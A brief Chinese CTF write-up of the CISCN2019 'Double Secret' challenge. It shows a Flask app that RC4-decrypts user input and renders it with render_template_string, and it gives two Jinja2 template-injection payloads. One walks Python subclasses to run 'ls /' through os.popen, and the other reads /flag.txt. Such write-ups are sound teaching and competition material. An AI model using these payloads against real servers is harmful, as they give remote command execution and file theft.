[CISCN2019 华东南赛区]Double Secret

由标题可以知道:有两个secret;尝试/secret

1

网页显示是给个参数他就会给你加密(但是却是解密)

有两个secret可以在参数这里猜:

加?secret=12345发现错误:

2

发现是ssti报错:盲猜jinja2:

找app.py:

1
2
3
4
5
6
7
8
9
10
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)

a=render_template_string(safe(deS))

if 'ciscn' in a.lower():
return 'flag detected!'
return a

可以发现是加了一个rc4的解密,密钥为:HereIsTreasure

我直接搞个加密rc4的密钥一样就可以了:

payload:

1
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}}

4

读flag.txt payload:

1
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}}

但是要加一个url加密,在加一个加密所有字符(因为好像直接输入会丢字符)

3